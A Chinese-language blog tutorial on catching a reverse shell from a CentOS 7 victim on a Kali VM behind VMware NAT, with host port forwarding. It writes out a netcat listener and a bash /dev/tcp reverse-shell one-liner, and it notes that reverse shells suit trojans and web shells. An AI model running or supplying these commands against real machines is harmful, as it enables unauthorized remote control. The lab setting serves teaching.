如何用内网虚拟机kali实现反弹shell

文章目录

  • 实验环境
  • 设置端口转发
  • 反弹shell
  • 验证
  • 为什么要反弹shell?

这里我讲述的是NAT模式下的反弹shell,因为个人感觉NAT模式方便一点。


实验环境

  • 攻击机:kali虚拟机(位于内网)
    ip:192.168.77.128
    如何用内网虚拟机kali实现反弹shell_第1张图片

  • 宿主机:win10
    ip:10.8.163.224
    如何用内网虚拟机kali实现反弹shell_第2张图片

  • 受害端:centos-7


设置端口转发

虚拟机集群此时相当于在内网中,而要实现反弹shell,我们的受害端centos7必须要能够连接我们的虚拟机kali。可以通过端口转发的功能来实现,比如我把kali虚拟机的2333号端口映射到主机的6666号端口,这样外网其它机器只需访问宿主机的6666号端口即可连接宿主机的虚拟机了。

下面是设置步骤:

编辑→虚拟网络编辑器→NAT设置→添加

如何用内网虚拟机kali实现反弹shell_第3张图片如何用内网虚拟机kali实现反弹shell_第4张图片


反弹shell

然后把攻击机kali的端口监听打开

nc -lvp 2333

如何用内网虚拟机kali实现反弹shell_第5张图片


用受害机centos7生成一个反弹shell,连接宿主机的公网IP10.8.163.224/6666,这样通过端口转发,就会连接到kali虚拟机上。

bash -i >& /dev/tcp/10.8.163.224/6666 0>&1

如何用内网虚拟机kali实现反弹shell_第6张图片


我们可以看到kali已经获取到受害机的bash。
如何用内网虚拟机kali实现反弹shell_第7张图片


验证

我们用kali在受害机桌面上创建一个hello.txt看看shell生效没。

touch /root/桌面/hello.txt

如何用内网虚拟机kali实现反弹shell_第8张图片如何用内网虚拟机kali实现反弹shell_第9张图片

为什么要反弹shell?

反弹很好理解,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

什么情况下正向连接不能用?

有如下情况:

  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

  • 目标机器的ip动态改变,你不能持续控制。

  • 防火墙等限制,对方机器只能发送请求,不能接收请求。

  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

你可能感兴趣的:(如何用内网虚拟机kali实现反弹shell)